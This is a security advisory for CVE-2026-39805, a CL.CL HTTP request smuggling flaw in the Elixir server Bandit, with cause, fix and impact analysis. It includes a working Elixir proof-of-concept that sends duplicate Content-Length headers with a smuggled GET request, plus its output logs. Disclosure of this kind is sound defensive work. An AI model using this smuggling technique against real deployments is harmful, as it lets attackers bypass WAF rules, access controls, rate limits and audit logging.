GHSA-C67R-GC9J-2QF7
Vulnerability from github – Published: 2026-05-07 03:46 – Updated: 2026-05-07 03:46Summary
Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.
The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af
Details
Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.
Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.
PoC
The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs
On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.
Impact
Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.
The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.
Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.
Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.
- Bandit directly on the internet: spec violation, no exploit.
- Bandit behind a major CDN/LB: almost certainly safe.
- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.
Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.
Script and Logs
# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"}
])
defmodule DemoApp do
@behaviour Plug
import Plug.Conn
def init(opts), do: opts
def call(conn, _opts) do
send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
end
end
defmodule Smuggle do
@port 4321
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
request = build_smuggling_request()
log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
:ok = :gen_tcp.send(sock, request)
response = read_all(sock)
:gen_tcp.close(sock)
log("Response stream:\n#{response}")
diagnose(response)
end
# POST with two Content-Length headers, plus a smuggled GET line in the
# body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
# reads 0 bytes per Content-Length: 0, replies, and the smuggled request
# line either gets parsed as a new request on the keep-alive connection
# or stays in the buffer.
defp build_smuggling_request do
smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
smuggled_size = byte_size(smuggled_request)
"POST / HTTP/1.1\r\n" <>
"Host: 127.0.0.1\r\n" <>
"Content-Length: 0\r\n" <>
"Content-Length: #{smuggled_size}\r\n" <>
"\r\n" <>
smuggled_request
end
defp read_all(sock, accumulated \\ "") do
case :gen_tcp.recv(sock, 0, 2_000) do
{:ok, bytes} -> read_all(sock, accumulated <> bytes)
{:error, _reason} -> accumulated
end
end
# Three observable outcomes:
# - 400 Bad Request -> RFC-conformant rejection (not what current
# Bandit does).
# - Two responses, second one for /smuggled -> Bandit dispatched the
# smuggled request as a second pipelined request.
# - One response -> Bandit accepted Content-Length: 0, the smuggled
# bytes sat in the keep-alive buffer; with a CL-last frontend this
# becomes a smuggled request on the next request boundary.
defp diagnose(response) do
response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten()
log("HTTP/1.x response lines observed: #{length(response_lines)}")
Enum.each(response_lines, fn line -> log(" #{line}") end)
cond do
response =~ ~r/^HTTP\/1\.[01] 400/ ->
log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")
response =~ "/smuggled" ->
log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")
length(response_lines) == 1 ->
log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
log("smuggled request line in the keep-alive buffer. Combined with a")
log("CL-last frontend this becomes request smuggling.")
true ->
log("Inconclusive - see raw response above.")
end
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
Smuggle.run()
11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43
GET /smuggled HTTP/1.1
Host: 127.0.0.1
[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate
method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate
method=GET path=/smuggled
[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057] HTTP/1.1 200 OK
[09:52:25.057] HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39805"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:46:31Z",
"nvd_published_at": "2026-05-01T21:16:17Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 \u00a75.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 \u00a76.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical \u2014 extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant \u2014 smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn\u0027t see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and \u2014 the only realistic data-exfil path \u2014 response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN/LB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless \u2014 the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 \u00a76.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request\u0027s body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts/bandit/http1_duplicate_content_length.exs\n\nMix.install([\n {:bandit, \"~\u003e 1.10\"},\n {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule DemoApp do\n @behaviour Plug\n\n import Plug.Conn\n\n def init(opts), do: opts\n\n def call(conn, _opts) do\n send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n end\nend\n\ndefmodule Smuggle do\n @port 4321\n\n def run do\n {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n request = build_smuggling_request()\n log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n :ok = :gen_tcp.send(sock, request)\n\n response = read_all(sock)\n :gen_tcp.close(sock)\n\n log(\"Response stream:\\n#{response}\")\n diagnose(response)\n end\n\n # POST with two Content-Length headers, plus a smuggled GET line in the\n # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n # line either gets parsed as a new request on the keep-alive connection\n # or stays in the buffer.\n defp build_smuggling_request do\n smuggled_request = \"GET /smuggled HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n smuggled_size = byte_size(smuggled_request)\n\n \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n \"Host: 127.0.0.1\\r\\n\" \u003c\u003e\n \"Content-Length: 0\\r\\n\" \u003c\u003e\n \"Content-Length: #{smuggled_size}\\r\\n\" \u003c\u003e\n \"\\r\\n\" \u003c\u003e\n smuggled_request\n end\n\n defp read_all(sock, accumulated \\\\ \"\") do\n case :gen_tcp.recv(sock, 0, 2_000) do\n {:ok, bytes} -\u003e read_all(sock, accumulated \u003c\u003e bytes)\n {:error, _reason} -\u003e accumulated\n end\n end\n\n # Three observable outcomes:\n # - 400 Bad Request -\u003e RFC-conformant rejection (not what current\n # Bandit does).\n # - Two responses, second one for /smuggled -\u003e Bandit dispatched the\n # smuggled request as a second pipelined request.\n # - One response -\u003e Bandit accepted Content-Length: 0, the smuggled\n # bytes sat in the keep-alive buffer; with a CL-last frontend this\n # becomes a smuggled request on the next request boundary.\n defp diagnose(response) do\n response_lines = Regex.scan(~r/^HTTP\\/1\\.[01] \\d{3}[^\\r\\n]*/m, response) |\u003e List.flatten()\n log(\"HTTP/1.x response lines observed: #{length(response_lines)}\")\n Enum.each(response_lines, fn line -\u003e log(\" #{line}\") end)\n\n cond do\n response =~ ~r/^HTTP\\/1\\.[01] 400/ -\u003e\n log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 \u00a76.3 conformant).\")\n\n response =~ \"/smuggled\" -\u003e\n log(\"VULNERABLE: smuggled GET /smuggled was processed as a second request.\")\n\n length(response_lines) == 1 -\u003e\n log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n log(\"CL-last frontend this becomes request smuggling.\")\n\n true -\u003e\n log(\"Inconclusive - see raw response above.\")\n end\n end\n\n defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST / HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET /smuggled HTTP/1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=/\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=/smuggled\n\n[09:52:25.057] HTTP/1.x response lines observed: 2\n[09:52:25.057] HTTP/1.1 200 OK\n[09:52:25.057] HTTP/1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.\n```",
"id": "GHSA-c67r-gc9j-2qf7",
"modified": "2026-05-07T03:46:31Z",
"published": "2026-05-07T03:46:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39805"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-39805.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39805"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.